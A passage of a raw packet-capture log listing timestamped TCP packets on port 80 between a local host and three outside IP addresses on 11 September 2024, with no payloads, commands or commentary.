Sep 11, 2024 16:22:17.989587069 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.989598989 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.989602089 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.989618063 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.989624977 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.989631891 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.989646912 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.989669085 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.990202904 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.990215063 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.990225077 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.990236998 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.990242004 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.990261078 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.990278959 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.990346909 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.990360022 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.990370035 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.990381002 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.990391016 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.990420103 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.992439985 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.992450953 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.992461920 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.992472887 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.992508888 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.992547989 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.992552042 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.992564917 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.992578030 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.992587090 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.992589951 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.992614985 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.992635965 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.994589090 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.994600058 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.994610071 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.994622946 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.994635105 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.994645119 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.994652033 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.994673014 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.994697094 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.994708061 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.997575045 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.997586966 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.997597933 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.997626066 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.997651100 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.997673035 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.997684956 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.997697115 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.997708082 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.997720957 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.997746944 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.997762918 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.997773886 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.997785091 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.997797012 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.997807980 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.997826099 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.997844934 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.997848034 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.997869015 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.997905970 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.997935057 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.998022079 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.998030901 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.998042107 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.998059988 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.998063087 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.998071909 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.998079062 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.998084068 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.998095036 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.998096943 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.998121977 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.998147964 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.998171091 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.998187065 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.998208046 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.998219013 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.998256922 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.998265982 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.998292923 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.998302937 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.998306036 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.998327971 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.998338938 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.998589039 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.998600960 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.998610973 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.998641968 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.998661995 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.004138947 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.004152060 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.004163027 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.004225969 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.004374981 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.004388094 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.004399061 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.004410028 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.004420996 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.004437923 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.004451036 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.004470110 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.004652977 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.004664898 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.004678011 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.004688978 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.004699945 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.004699945 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.004700899 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.004714012 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.004731894 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.004754066 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.005636930 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.005647898 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.005657911 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.005670071 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.005681038 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.005692005 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.005692959 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.005703926 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.005703926 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.005717993 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.005718946 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.005732059 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.005742073 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.005748034 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.005753994 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.005765915 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.005769014 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.005779028 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.005786896 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.005789042 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.005800962 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.005801916 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.005812883 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.005822897 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.005830050 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.005837917 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.005841017 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.005851984 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.005867004 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.005889893 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.005892038 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.005902052 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.005913019 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.005925894 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.005929947 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.005942106 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.005949020 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.005953074 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.005964041 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.005964994 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.005983114 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.005986929 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.005995035 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.006000996 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.006009102 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006023884 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.006027937 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006038904 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.006038904 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006051064 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006063938 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006074905 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006076097 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.006076097 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.006086111 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006094933 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006099939 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.006105900 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.006117105 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.006127119 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.006139994 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.006139994 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.006140947 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.006145954 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.006153107 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.006164074 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.006167889 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.006176949 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.006191969 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.006206036 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.006227970 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.006314039 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.006325006 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.006335020 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.006345987 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.006357908 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.006357908 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.006369114 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.006380081 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.006380081 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.006392002 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.006397963 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.006418943 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.006443024 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.006452084 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006463051 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006474018 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006484985 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006495953 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006505966 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006516933 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006520033 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.006520033 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.006527901 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006546021 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.006553888 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006562948 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006572008 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006582975 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006589890 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.006589890 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.006592989 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006603003 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.006604910 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006618023 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006627083 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006653070 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.006653070 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.006660938 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.006668091 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006678104 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006690979 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006701946 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006726980 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006736040 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.006736994 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.006736994 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006748915 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006757975 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.006782055 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.006782055 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.006927013 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.006983042 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.007008076 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.007019043 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.007046938 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.007066011 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.007133007 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.007144928 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.007155895 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.007167101 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.007177114 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.007186890 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.007205009 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.007217884 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.017187119 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.017198086 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.017208099 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.017260075 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.017283916 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.017291069 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.017296076 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.017308950 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.017323017 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.017337084 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.017498016 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.017508030 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.017544031 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.017625093 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.017640114 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.017680883 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.017955065 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.017965078 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.017996073 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.018035889 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.018047094 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.018057108 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.018068075 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.018071890 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.018086910 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.018107891 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.018676996 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.018734932 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.018745899 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.018779993 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.018899918 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.018909931 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.018920898 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.018932104 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.018949032 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.018965960 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.019130945 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.019141912 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.019153118 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.019165039 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.019177914 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.019192934 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.019277096 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.019288063 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.019299030 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.019310951 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.019321918 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.019325972 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.019332886 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.019340992 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.019344091 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.019356012 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.019359112 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.019407988 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.019660950 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.019671917 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.019684076 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.019696951 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.019709110 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.019711971 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.019721031 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.019725084 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.019731998 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.019746065 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.019769907 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.020123005 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.020133972 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.020143986 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.020157099 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.020164013 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.020169020 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.020179033 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.020180941 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.020194054 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.020206928 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.020229101 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.020291090 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.020332098 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.020735979 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.020745993 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.020756006 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.020766020 CEST	80	49736	176.113.115.33	192.168.2.4
